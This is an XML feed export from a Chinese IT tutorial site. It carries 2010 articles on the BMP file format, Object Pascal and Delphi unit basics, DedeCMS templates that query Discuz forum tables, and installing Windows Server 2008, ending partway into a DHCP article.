<?xml version="1.0" encoding="gb2312" ?>
<document>
<webSite>IT侠——以大侠的风范纵横IT江湖！ </webSite>
<webMaster>492948155@qq.com </webMaster>
<updatePeri>15 </updatePeri>
<item>
<title>图像文件名后缀详解 </title>
<link>http://www.itxia.com/a/computer/os/composite/2010/0719/9773.html </link>
<description>进入多媒体世界后，人们会看到各种各样的精彩图片，会发现许多种后缀名。的确，由于各个公司在开发与图形有关的软件时都有各自的标准，导致今天的图形文件有太多的格式，以下介绍常见的几种格式。 首先是一种位图文件格式，它是由一组点（像素）组成的图形， </description>
<text>

 	
	
	                 

进入多媒体世界后，人们会看到各种各样的精彩图片，会发现许多种后缀名。的确，由于各个公司在开发与图形有关的软件时都有各自的标准，导致今天的图形文件有太多的格式，以下介绍常见的几种格式。
首先是一种位图文件格式，它是由一组点（像素）组成的图形，这种文件由图像程序生成或通过扫描图像创建，主要包括：
（1）Windows位图文件（.BMP）：由Microsoft公司开发，被Windows和Windows Nt平台及许多应用程序支持，支持32位颜色。
BMP（Bitmap-File）图形文件是Windows采用的图形文件格式，在Windows环境下运行的所有图像处理软件都支持BMP图形文件格式。Windows系统内部的各种图像绘制操作都是以BMP为基础的。Windows3.0以前的BMP图文件格式与显示设备有关，因此也把这种BMP图像文件格式称为设备相关位图（DDB，device-dependent bitmap）文件格式。Windows 3.0以后的BMP图像文件与显示设备无关，因此也把这种BMP图像文件格式称为设备无关位图（DIB，device-independent bitmap）格式。
位图文件可看成由4个部分组成：位图头文件（bitmap-file header）、位图信息头（bitmap-information header）、彩色表（color table）及定义位图的字节阵列，具体结构如表1。

    表1 位图文件的结构
    
        
            &amp;nbsp;位图文件的组成结构
            &amp;nbsp;结构名称
            &amp;nbsp;符号
        
        
            &amp;nbsp;位图头文件（bitmap-file header）
            &amp;nbsp;BITMAPFILEHEADER
            &amp;nbsp;bmfh
        
        
            &amp;nbsp;位图信息头（bitmap-information header）
            &amp;nbsp;BITMAPINFOHEADER
            &amp;nbsp;bmih
        
        
            &amp;nbsp;彩色表
            &amp;nbsp;RGBQUAD
            &amp;nbsp;aColors[]
        
        
            &amp;nbsp;图像数据阵列字节
            &amp;nbsp;BYTE
            &amp;nbsp;aBitmapBits[]
        
    




 	
	
	               


位图文件的内容如表2所示。
&amp;nbsp;

    表2  位图文件的内容
    
        
            &amp;nbsp;
            偏移量
            域的名称
            大小
            内容说明
        
        
            图像文件头
            0000h
            文件标识
            2字节
            用两个字节的信息识别位图的类型： 'BM':Windows 3.1x,95,NT,... 'BA':OS/2 Bitmap Array 'CI':OS/2 Color Icon 'CP':OS/2 Color Pointer 'IC':OS/2 Icon 'PT':OS/2 Pointer 注：因为OS/2系统并没有得到普及，所以在编程时，只需判断第一个标识'BM'就行
        
        
            &amp;nbsp;
            0002h
            File Size
            1 dword
            用字节表示的整个文件的大小
        
        
            &amp;nbsp;
            0006h
            Reserved
            1 dword
            保留，必须设置为0
        
        
            &amp;nbsp;
            000Ah
            Bitmap Data Offset
            1 dword
            从文件开始到位图数据（bitmap data）开始之间的偏移量
        
        
            &amp;nbsp;
            000Eh
            Bitmap Header Size
            1 dword
            位图信息头（Bitmap Info Header）的长度，用来描述位图的颜色、压缩方法等。下面的长度表示对应了不同的操作系统： 28h&amp;mdash;&amp;mdash;Windows 3.1x,95,NT,... 0Ch&amp;mdash;&amp;mdash;OS/2 1.x F0h&amp;mdash;&amp;mdash;OS/2 2.x 注：在Windows95、98、2000等操作系统中，位图信息头的 长度并不一定是28h，因为微软已经制定出了新的BMP文件格式，其中的信息头结构变化比较大，长度加长。所以最好不要直接使用常数28h，而是应该从具体文件中读取这个值，这样才能确保程序的兼容性。
        
        
            &amp;nbsp;
            0012h
            Width
            1 dword
            位图的宽度，以像素为单位
        
        
            &amp;nbsp;
            0016h
            Height
            1 dword
            位图的高度，以像素为单位
        
        
            &amp;nbsp;
            001Ah
            Planes
            1 word
            位图的位面数（注：该值将总是1）
        
        
            图像信息头
            001Ch
            Bits Per Pixel
            1 word
            每个像素的为数： 1&amp;mdash;&amp;mdash;单色位图（实际上可有两种颜色，默认情况下是黑色和白色。你可以自己定义这两种颜色） 4&amp;mdash;&amp;mdash;16位图 8&amp;mdash;&amp;mdash;256位图 16&amp;mdash;&amp;mdash;16位高彩色位图 24&amp;mdash;&amp;mdash;24位真彩色位图 32&amp;mdash;&amp;mdash;32位真彩色位图
        
        
            &amp;nbsp;
            001Eh
            Compression
            1 dword
            压缩说明： 0&amp;mdash;&amp;mdash;不压缩 1&amp;mdash;&amp;mdash;RLE8&amp;mdash;&amp;mdash;使用8为RLE压缩方式（用BI_RLE8表示） 2&amp;mdash;&amp;mdash;RLE4&amp;mdash;&amp;mdash;使用4位RLE压缩方式（用BI_RLE4表示） 3&amp;mdash;&amp;mdash;Bitfields&amp;mdash;&amp;mdash;位域存放方式（用BI_BITFIELDS表示）
        
        
            &amp;nbsp;
            0022h
            Bitmap Data Size
            1 dword
            用字节数表示的位图数据的大小，必须是4的倍数
        
        
            &amp;nbsp;
            0026h
            HResolution
            1 dword
            用像素/米表示的水平分辨率
        
        
            &amp;nbsp;
            002Ah
            VResolution
            1 dword
            用像素/米表示的垂直分辨率
        
        
            &amp;nbsp;
            002Eh
            Colors
            1 dword
            位图使用的颜色数。如8比特/像素表示100h或者256
        
        
            &amp;nbsp;
            0032h
            Important Colors
            1 dword
            指定重要的颜色数。当该域的值等于颜色数时（或者等于0时），表示所有的颜色都一样重要
        
        
            &amp;nbsp;
            根据BMP版本的不同而不同
            Palette
            N*4 byte
            调色板规范。对于调色板中的每个表项，这4个字节用下述方法来描述RGB的值： 1字节用于蓝色分量 1字节用于绿色分量 1字节用于红色分量 1字节用于填充符（设置为0）
        
        
            &amp;nbsp;
            根据BMP版本及调色板尺寸的 不同而不同
            Bitmap Data
            xxx bytes
            该域的大小取决于压缩方法及图像的尺寸和图像的位深度，它包含所有的位图数据字节，这些数据可能是彩色调色板的索引号，也可能是实际的RGB值，这将根据图像信息头中的位深度值来决定
        
    

&amp;nbsp;
&amp;nbsp; </text>
<image> </image>
<keywords>图像,文件名,后缀,BMP,位图,IT侠 </keywords>
<category>OS理论综合 </category>
<author>IT侠 </author>
<source>未知 </source>
<pubDate>2010-07-19 11:16 </pubDate>
</item>
<item>
<title>Object Pascal标识符、常量与变量 </title>
<link>http://www.itxia.com/a/computer/program/delphi/2010/0719/9772.html </link>
<description>这里介绍在Object Pascal代码中可以使用何种字符。Object Pascal语言使用的是ASCII码字符集，包括字母A～Z、a~z、数字0~9和其他一些标准字符。 下面的单个字符作为特殊符号存在： #$'()*+,?./:;=@[]^{} 另外，有些字符对也作为单个的特殊符号存在，具体有： </description>
<text>这里介绍在Object Pascal代码中可以使用何种字符。Object Pascal语言使用的是ASCII码字符集，包括字母A～Z、a~z、数字0~9和其他一些标准字符。
下面的单个字符作为特殊符号存在：
#$&amp;amp;'()*+,?./:;&amp;lt;=&amp;gt;@[]^{}
另外，有些字符对也作为单个的特殊符号存在，具体有：
(* (. *) .) .. // := &amp;lt;= &amp;gt;= &amp;lt;&amp;gt;
其中，左中括号&amp;ldquo;[&amp;rdquo;等价于&amp;ldquo;(&amp;rdquo;，右中括号&amp;ldquo;]&amp;rdquo;等价于&amp;ldquo;)&amp;rdquo;，左大括号&amp;ldquo;{&amp;rdquo;等价于&amp;ldquo;(*&amp;rdquo;，右大括号&amp;ldquo;}&amp;rdquo;等价于&amp;ldquo;*)&amp;rdquo;。
在Pascal语言中，标识符（Identifiers）用来标识常量、变量、类型、属性、对象、过程、函数、过程、单元、库和控件等。标识符可以由任意长的一个不带空格的字符串组成，但是只有前面的255个字符有效。标识符的第一个字符必须是字母或下划线，其余字符可以是字母、数字或下划线。一般标识符可以由一个或多个具有适当意义的英文单词组成。
Pascal语言对于字母的大小写不敏感。当然，字符串中的大小写字母是需要分清的。在编写程序的时候要保持良好的风格，不要有时候全部大写标识符，另一些时候实行大小写混写。建议读者将标识符中每个英文单词的首位字母大写，其余小写。
如下的标识符为正确命名的标识符：
myvar、I、Mysource、Name10等。
如下的标识符为错误命名的标识符：
1myvar（数字不能放到最前面）
end（系统标识符）
变量
变量是程序代码中代表一个内存地址的标识符，而此地址的内存内容在程序代码执行时可以改变。在使用变量前必须对它进行说明，即对它进行命名，并说明它的类型。在所有变量说明以前加上保留字var。变量说明左边是变量的名称，右边则是该变量的类型，中间用&amp;ldquo;：&amp;rdquo;隔开。使用方法如下面的代码所示：

    
        
            &amp;nbsp;&amp;nbsp; var
            &amp;nbsp;&amp;nbsp;&amp;nbsp; Value,Sum:Integer;
            Line:String;
        
    

预定义类型
Object Pascal有多个预定义的数据类型，其中包含整形、实型、布尔型、字符型、指针型、字符串型等基本数据类型。各种数据类型的定义如下：
整型（Integer）：Integer的范围是-32768～32767，占2字节的内存；Shortint的范围是-128～127，占1字节内存；Longint的范围是从-2147443648～2147483647占4个字节内存；Byte的范围是0～255，站1字节；Word的范围是0～65535，占2字节内存。它们都是没有小数部分的数字。
实型（Real）：Single可以包含7到8位有效小数部分，占用4字节的内存；Double类可以包含15到16位有效小数部分，占用8字节的内存；Extended类型包含19到20位有效小数部分，占用10字节内存；Comp可以包含19到20位有效小数部分，占用8字节内存。以上实数类型只有在8087/80287选项[N+]打开时才可以使用。Real可以包含11到12为有效小数部分，占用6字节内存，它只有在和以前Borland Pascal兼容的情况下才使用，否则应使用Double或Extended。
布尔型（Boolean）：只包含true或false两个值，占用1字节内存。
字符型（Char）：一个ASCII字符；字符串型String一串最长可达255个ASCII字符。
指针型（Pointer）：可以指向任何特定类型。
字符串型（Pchar）：是一个指向以零结尾的字符串的指针。
常量
常量在说明时就被赋予了一个值，在程序执行过程中是不可改变的。下面的例子声明了3个常量：

    
        
            &amp;nbsp; const
            &amp;nbsp; Pi=3.14159;
            &amp;nbsp; Answer=342;
            &amp;nbsp; ProductName=&amp;quot;Delphi&amp;quot;;
        
    


像变量一样，常量也有类型。不同的是，常量的类型就是常量中其所代表的值的类型。上文的3个常量的类型分别是实型、整型、字符串型。常量用&amp;ldquo;=&amp;rdquo;表示两边的值是相等的。
保留字和指令字
Object Pascal语言中定义了65个保留字，它们具有特殊的含义，不可以用来作为标识符、变量或常量，读者在帮助文档中查找Reserved Words，就可以知道这些关键字及它们的用法。
提示：

    
        
            &amp;nbsp; Object  Pascal语言中还定义了39个指令字（Directives），它们也具有特殊含义，只是当用户重新定义了这些指令字后，在作用域内它们就失去了原来 的意义了。读者在帮助文档中查找Directives，就可以知道这些关键字及它们的用法。
        
    


变量的赋值
在事件处理过程中，最常用到的工作就是把一个新值赋给一个属性或变量。在设计用户界面时，可以使用【Object Inspector】窗口来改变其属性，但有时需要在程序执行时改变属性的值，而且有些属性只能在执行时动态改变。这些属性在Delphi的在线帮助的【Property】主题中被标为执行期属性。进行这种改变，就必须使用赋值语句。
下文的赋值语句表示一个OnClick事件。当单击按钮后，将编辑框控件Edit1的Color属性设置为clRed。

    
        
            &amp;nbsp; procedure TForm1.Button1Click(Sender:TObject);
            begin
            &amp;nbsp;  Edit1.Color:=clRed;
            end;
        
    


当单击按钮后赋值语句被执行，编辑框变成红色。
在语句中，控件的名称在属性前，中间用&amp;ldquo;.&amp;rdquo;表示属性的所属关系。这样就准确地指定了要将clRed值赋给哪一控件的哪一属性。赋值号&amp;ldquo;:=&amp;rdquo;，不论给属性还是给变量赋值，都是将右边的值赋给左边的属性或变量。
当将一个属性值、变量、常量或文本数据赋给属性或变量时，所赋值类型和接受此值的属性或变量的类型应相同或兼容。一个属性或变量的类型定义了此属性或变量的可能值集合，也定义了程序代码可以执行的运算。在上边的程序中，编辑框控件的Color属性和clRed的类型都是TColor。可以在在线帮助中找到一个属性的类型；另外一种方法是在【Object Inspector】窗口中选定该属性字段，并按下【F1】键，则类型将在属性说明的结尾处列出，例如，选中Color属性时列出下边的语句：

    
        
            PropertyColor:TColor;&amp;nbsp;
        
    

&amp;nbsp; </text>
<image> </image>
<keywords>object,pascal,标识符,常量,变量,IT侠 </keywords>
<category>Delphi </category>
<author>IT侠 </author>
<source>未知 </source>
<pubDate>2010-07-19 11:03 </pubDate>
</item>
<item>
<title>Dephi单元文件详解 </title>
<link>http://www.itxia.com/a/computer/program/delphi/2010/0718/9771.html </link>
<description>经常使用的最重要的文件是源代码文件，称为单元。没有了单元，窗体文件只是一种画出图像的复杂方法。理解单元的各种不同方面是很重要的。这将有助于读者理解在何处写代码、为什么写这些代码。下面将参照以下代码，详细介绍单元文件的相关内容。 unit Unit1; </description>
<text>经常使用的最重要的文件是源代码文件，称为单元。没有了单元，窗体文件只是一种画出图像的复杂方法。理解单元的各种不同方面是很重要的。这将有助于读者理解在何处写代码、为什么写这些代码。下面将参照以下代码，详细介绍单元文件的相关内容。

    
        
            &amp;nbsp; unit Unit1;
            
            interface
            
            uses
            &amp;nbsp; Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls,  Forms,
            &amp;nbsp; Dialogs;
            
            type
            &amp;nbsp; TForm1 = class(TForm)
            &amp;nbsp; private
            &amp;nbsp;&amp;nbsp;&amp;nbsp; { Private declarations }
            &amp;nbsp; public
            &amp;nbsp;&amp;nbsp;&amp;nbsp; { Public declarations }
            &amp;nbsp; end;
            
            var
            &amp;nbsp; Form1: TForm1;
            
            implementation
            
            {$R *.dfm}
            
            initialization //user must add
            
            finalization
            
            end.
        
    


该单元是一个有相关窗体的单元。请记住，单元不必有相关的窗体，反之则不然。
1.单元文件内部结构简介
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 单元包括单元名和接口部分，接口部分中包含了类型声明、变量声明，如果需要还会有常熟。单元的下半部分，即implementation之后，是实现部分，该部分可包含类型声明、变量声明、常数和过程。通常在实现部分会看到代码。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 如果单元与数据模块或窗体关联，紧接着关键字implementation之后是$R编译器指令，用于查找资源。关键字end.标识了文件的结尾。可以选择加入关键字initialization和finalization，但它们不会被自动添加。initialization代码在单元中的所有其他代码运行前运行，finalization代码在单元中所有其他代码运行后运行。单元装载到内存后，马上运行initialization部分，而finalization代码刚好在单元被卸载之前运行。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 对VCL源代码进行查找，只发现了大约100个initialization。它是一种强大的工具，读者很少需要用到它，但如果看过Delphi的源代码如forms.pas和classes.pas，就能够找到一些使用它的方法。
2.Unit部分
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Unit语句中包含了文件的名字。除了Windows文件系统存储文件时需要文件名称以外，还可以把单元名作为定义名字空间的机制。例如，有一个单元名为math，其中有个过程名为Multiply，另一个单元名为Tribbles，其中也有一个名为Multiply的过程，为区分这两个过程，在调用Multiply时，可以把去掉扩展名的单元名作为前缀。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 这样，在解析Math.Multiply调用时，编译器将找到math单元中的Multiply；而调用Tribbles.Multiply时将对应到Tribbles单元中的过程。unit语句的形式是：unit 文件名；其中文件名是在保存文件时由Delphi管理的，不包括.pas扩展名。
3.接口部分
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 用户可以认为单元分为两个部分。上半部为接口部分，起始于包含关键字interface的那一行，结束于关键字implementation之前，其余为第二部分。在最简单的意义上，这两部分的作用是互补的。上半部，或接口部分，描述了应用程序的其余部分在该单元中可以访问哪些函数。下半部，即实现部分，通常是编写运行代码之处。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 最重要的是要记住：接口部分没有运行代码，但包含了其他单元可以访问的类型、常数和变量等。它也描述了该单元中可调用的过程和可使用的数据。
#p#分页标题#e#
4.实现部分
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 实现部分是编写运行代码之处，也可以包含类型、变量和常数。定义于接口部分的变量、类型和常量可以在单元外使用，与此相反，在实现部分定义的规则只能在单元内部使用。
注意：

    
        
            &amp;nbsp; 过程或函数的声明不包含代码体的语句，即不包含begin和end语句及两者之间的代码。过程性声明放在接口部分。
            过程或函数的定义包含声明部分和函数体，即实际的代码。过程性的定义放在实现部分。
        
    


&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 另外，定义在实现部分的过程和函数，如果在接口部分没有响应的声明，则只能放在单元内部使用。如果希望其他单元可以访问过程和函数，则要将其声明放在接口部分而将其定义放在实现部分。
5.定义Uses子句
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Uses子句指示编译器添加在列出的各个单元中找到的代码。可将该语句在接口部分和实现部分各放一个。如果用到Uses子句，它将紧跟在interface和implementation关键字之后。
注意：

    
        
            &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 如果Unit1需要Unit2的代码，Unit2也需要Unit1的代码，则在Unit1和Unit2的Uses子句中相互列出对方。但Unit1和 Unit2不能在同一部分相互引用。例如，在接口部分Unit1可引用Unit2，Unit2也可引用Unit1；但Unit1和Unit2不能在接口部 分相互引用，这是个循环引用错误。而在实现部分两个单元可以相互引用。
            &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 所有的单元都隐式引用了system.pas单元。system.pas单元无法显示引用。
        
    


&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 如果改变了Unit1接口部分的Uses子句，而Unit2引用了Unit1，那么Unit1和Unit2可能会被重新编译。如果Unit1在接口部分引用了Unit2，而改变了Unit2实现部分的Uses子句，则Unit2必须重新编译，而Unit1则无须如此。

6.Type子句
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 接口部分和实现部分都可能有Type子句。按惯例，大多数Type子句都位于接口部分。类型声明可以定义集合、数组、记录和类等。在关键字type之后可引入新的类型。下面列出的代码示范了类型定义的例子。

    
        
            &amp;nbsp; type
            TForm1=class(TForm)
            private
            {Private declarations}
            public
            {Public declarations}
            end;
        
    


7.变量部分
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 接口部分和实现部分均可包含Var子句。当要定义其他单元可访问的变量时，请把这些变量放在接口的变量部分，然后在使用变量的单元的Uses子句中包含该单元即可。接口部分定义的变量可认为是全局变量，请谨慎使用。由于无法确保全局变量不被其他的程序员误用，所以加入这段说明以防止误解。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 实现部分定义的变量只能在所定义的单元内访问。他们被称为本地变量，在单元内可随意访问，但不能被使用该单元代码的其他单元所引用。这样，只有包含了该变量定义的单元的作者才有可能误用本地变量。本地变量比全局变量优先选用，但并不理想。
8.资源声明
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 在这里开始列出的代码可看到{$R *.res}编译器指令，文中提到过，该指令指示编译器包含与该单元同名的.res文件。$R指令通常只出现在具有窗体的单元中，它们也可能是开发者因为某种原因添加的。
说明：

    
        
            &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 对于运行时加载图形资源，mplayer.pas中的TMediaPlayer类是个好例子。可以利用Delphi所带的Image  Editor创建图像，再利用TMediaPlayer类中的代码向应用程序中动态加载位图。
        
    

9.Initialization部分
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 单元的initialization部分的代码将在单元中任何其他代码运行前运行。在initialization与finalization或end关键字之间的代码，将在单元向内存加载时运行。如果要使用全局变量或本地变量，可在initialization关键字后进行初始化。
10.Finalization部分
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 如果单元没有initialization部分，也可以使用finalization部分。可在finalization部分运行清除代码，并释放在initialization部分分配给对象的内存。finalization部分由关键字finalization开始直到关键字end（文件结尾）结束。finalization部分与对应的initialization部分按相反顺序运行。例如，Unit1、Unit2、Unit3按顺序装载入内存，则其finalization部分将按Unit3、Unit2、Unit1的顺序执行。 </text>
<image> </image>
<keywords>delphi,单元文件,type子句,常量,变量,IT侠 </keywords>
<category>Delphi </category>
<author>IT侠 </author>
<source>未知 </source>
<pubDate>2010-07-18 17:48 </pubDate>
</item>
<item>
<title>DEDECMS模板调用discuz主题表 cdb_threads详解 </title>
<link>http://www.itxia.com/a/computer/dedecms/2010/0718/9770.html </link>
<description>dedecms可以通过loop标签调用discuz的表数据，例如 调用discuz查看次数最多的主题: {dede:loop table=cdb_threads if=fid=4 and displayorder!=-1 sort=views row=8} li a href=http://bbs.phpwz.com/thread-[field:tid/]-1-1.html target=_blank[field:subj </description>
<text>dedecms可以通过loop标签调用discuz的表数据，例如
调用discuz查看次数最多的主题:

    
        
            &amp;nbsp; {dede:loop table=&amp;quot;cdb_threads&amp;quot; if=&amp;quot;fid=4 and displayorder!=-1&amp;quot;  sort=&amp;quot;views&amp;quot; row=&amp;quot;8&amp;quot;}
            &amp;lt;li&amp;gt;
            &amp;lt;a href=&amp;quot;http://bbs.phpwz.com/thread-[field:tid/]-1-1.html&amp;quot;  target=&amp;quot;_blank&amp;quot;&amp;gt;[field:subject function=&amp;quot;cn_substr('@me',46)&amp;quot;  /]&amp;lt;/a&amp;gt;
            [[field:lastpost function=&amp;quot;date('m-d','@me')&amp;quot; /]]&amp;lt;/li&amp;gt;
            {/dede:loop}
        
    


调用discuz回复次数最多的主题:

    
        
            &amp;nbsp; {dede:loop table=&amp;quot;cdb_threads&amp;quot; if=&amp;quot;fid=4 and displayorder!=-1&amp;quot;  sort=&amp;quot;replies&amp;quot; row=&amp;quot;8&amp;quot;}
            &amp;lt;li&amp;gt;
            &amp;lt;a href=&amp;quot;http://bbs.phpwz.com/thread-[field:tid/]-1-1.html&amp;quot;  target=&amp;quot;_blank&amp;quot;&amp;gt;[field:subject function=&amp;quot;cn_substr('@me',46)&amp;quot;  /]&amp;lt;/a&amp;gt;
            [[field:lastpost function=&amp;quot;date('m-d','@me')&amp;quot; /]]&amp;lt;/li&amp;gt;
            {/dede:loop}
        
    


调用discuz精华主题 帖子分为1级精华2级精华3级精华:

精华越高排在最前面

    
        
            &amp;nbsp; {dede:loop table=&amp;quot;cdb_threads&amp;quot; if=&amp;quot;fid=4 and displayorder!=-1&amp;quot;  sort=&amp;quot;digest&amp;quot; row=&amp;quot;8&amp;quot;}
            &amp;lt;li&amp;gt;
            &amp;lt;a href=&amp;quot;http://bbs.phpwz.com/thread-[field:tid/]-1-1.html&amp;quot;  target=&amp;quot;_blank&amp;quot;&amp;gt;[field:subject function=&amp;quot;cn_substr('@me',26)&amp;quot;  /]&amp;lt;/a&amp;gt;
            [[field:lastpost function=&amp;quot;date('m-d','@me')&amp;quot; /]]&amp;lt;/li&amp;gt;
            {/dede:loop}
        
    


调用discuz论坛最新主题：

    
        
            &amp;nbsp; {dede:loop table=&amp;quot;cdb_threads&amp;quot; sort=&amp;quot;tid&amp;quot; row=&amp;quot;10&amp;quot;}
            &amp;lt;a href=&amp;quot;/bbs/viewthread.php?tid=[field:tid%20/]&amp;quot;&amp;gt;
            [field:subject function=&amp;quot;cn_substr('@me',30)&amp;quot; /]([field:lastpost  function=&amp;quot;date('m-d H:M','@me')&amp;quot; /])&amp;lt;/a&amp;gt;
            {/dede:loop}
        
    


附：discuz主题列表cdb_threads 数据字典

    
        
            字段
            &amp;nbsp;类型
            &amp;nbsp;注释
        
        
            &amp;nbsp;attachment
            &amp;nbsp;tinyint(1)
            &amp;nbsp;主题包含附件
        
        
            &amp;nbsp;author
            &amp;nbsp;char(15)
            &amp;nbsp;主题作者用户名
        
        
            &amp;nbsp;authorid
            &amp;nbsp;mediumint(8)
            &amp;nbsp;主题作者UID
        
        
            &amp;nbsp;closed
            &amp;nbsp;mediumint(8)
            &amp;nbsp;主题关闭
        
        
            &amp;nbsp;dateline
            &amp;nbsp;int(10)
            &amp;nbsp;主题发表时间
        
        
            &amp;nbsp;digest
            &amp;nbsp;tinyint(1)
            &amp;nbsp;主题精华级别
        
        
            &amp;nbsp;displayorder
            &amp;nbsp;tinyint(1)
            &amp;nbsp;主题显示顺序
        
        
            &amp;nbsp;fid
            &amp;nbsp;smallint(6)
            &amp;nbsp;主题所在版块FID
        
        
            &amp;nbsp;heats
            &amp;nbsp;int(10)
            &amp;nbsp;
        
        
            &amp;nbsp;highlight
            &amp;nbsp;tinyint(1)
            &amp;nbsp;主题是否被高亮
        
        
            &amp;nbsp;iconid
            &amp;nbsp;smallint(6)
            &amp;nbsp;主题图标iconid
        
        
            &amp;nbsp;itemid
            &amp;nbsp;mediumint(8)
            &amp;nbsp;Ss项目itemid（SS相关）
        
        
            &amp;nbsp;lastpost
            &amp;nbsp;int(10)
            &amp;nbsp;主题最后回复时间
        
        
            &amp;nbsp;lastposter
            &amp;nbsp;char(15)
            &amp;nbsp;主题最后回复作者
        
        
            &amp;nbsp;moderated
            &amp;nbsp;tinyint(1)
            &amp;nbsp; 主题被管理
        
        
            &amp;nbsp;price
            &amp;nbsp;smallint(6)
            &amp;nbsp;主题出售价格
        
        
            &amp;nbsp;rate
            &amp;nbsp;tinyint(1)
            &amp;nbsp;主题评分（-1=反对 0=无 1=支持）
        
        
            &amp;nbsp;readperm
            &amp;nbsp;tinyint(3)
            &amp;nbsp;主题阅读权限
        
        
            &amp;nbsp;recommend_add
            &amp;nbsp;smallint(6)
            &amp;nbsp;
        
        
            &amp;nbsp;recommend_sub
            &amp;nbsp;smallint(6)
            &amp;nbsp;
        
        
            &amp;nbsp;recommends
            &amp;nbsp;smallint(6)
            &amp;nbsp;
        
        
            &amp;nbsp;replies
            &amp;nbsp;mediumint(8)
            &amp;nbsp;主题回复次数
        
        
            &amp;nbsp;sortid
            &amp;nbsp;smallint(6)
            &amp;nbsp;主题排序
        
        
            &amp;nbsp;special
            &amp;nbsp;tinyint(1)
            &amp;nbsp;特殊主题编码
        
        
            &amp;nbsp;status
            &amp;nbsp;smallint(6)
            &amp;nbsp;
        
        
            &amp;nbsp;subject
            &amp;nbsp;char(80)
            &amp;nbsp;主题标题
        
        
            &amp;nbsp;supe_pushstatus
            &amp;nbsp;tinyint(1)
            &amp;nbsp;Ss推送状态（SS相关）
        
        
            &amp;nbsp;tid
            &amp;nbsp;mediumint(8)
            &amp;nbsp;主题的ID
        
        
            &amp;nbsp;typeid
            &amp;nbsp;smallint(6)
            &amp;nbsp;主题分类TYPEID
        
        
            &amp;nbsp;views
            &amp;nbsp;int(10)
            &amp;nbsp;主题浏览次数
        
    

&amp;nbsp; </text>
<image> </image>
<keywords>dedecms,模板,调用,discuz,cdb_threa </keywords>
<category>IT侠织梦 </category>
<author>IT侠 </author>
<source>未知 </source>
<pubDate>2010-07-18 11:09 </pubDate>
</item>
<item>
<title>Winodws Server 2008 安装手记 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9769.html </link>
<description>首先下载2008的系统，之前我下载错误，下载了64位的，结果又重新下载了86的。 还是公司里的网速爽。半小时搞定了。下载免责声明：如果你下载了，就代表已同意声明了。本下载为网络收集，刻录出售出现的责任与本人无关。请下载的朋友自行体验使用。请不要用于 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 首先当然是下载2008的系统咯，要是手里有那就不必了，之前我下载错误，下载了64位的，结果又重新下载了86的。 还是公司里的网速爽。半小时搞定了。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 下载好后呢。就是安装，假如不想用电脑安装就用虚拟机吧。虚拟机下载与使用。Microsoft Virtual PC 2007 精简版。下面是安装整个过程。
虚拟机属性配置：


安装过程：
1、用第一个就行了，我选择默认的。

2、正在展开文件，这个它自已会重起电脑好多次。不用管，玩别的就行了。让它自个安装就OK

3、等好长时间，可终于完成安装了。

4、接着就是这个画面了。要设置adminirstator的密码，点确定进入。。

5、这是设置密码页，设置密码要为大写字母+小写字母+字符才可以。没办法微软也是为了安全吧，刚开始我只用了小写加数字好多次都不行。后来用大写加小写加数字就可以了。

6、设置成功，正在进入桌面。其实也没见怎么。跟2003差不多。

7、看到了吧。2003安装好后也是跳出来这个东西。

8、设置桌面和Vista也没什么二样。也就可以说是Vista的升级版吧。

就演示到这里。嘿嘿去体验下2008有啥不同吧。
原文出处：http://www.rhl.name/Article/114.aspx </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O41636415010-56021_lit.jpg </image>
<keywords>IT侠,手记,安装,下载,设置,虚拟机,windows </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Windows Server 2008巧妙配置DHCP服务器 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9751.html </link>
<description>伴随着局域网组网规模的逐步扩大，局域网中的计算机数量也是不断增多，不少网络管理员为了快速为计算机分配IP地址，一般都会选择在局域网中架设DHCP服务器，来为局域网中的每一台计算机自动分配动态IP地址。随着WindowsServer 2008系统的推出，大家肯定想迫切 </description>
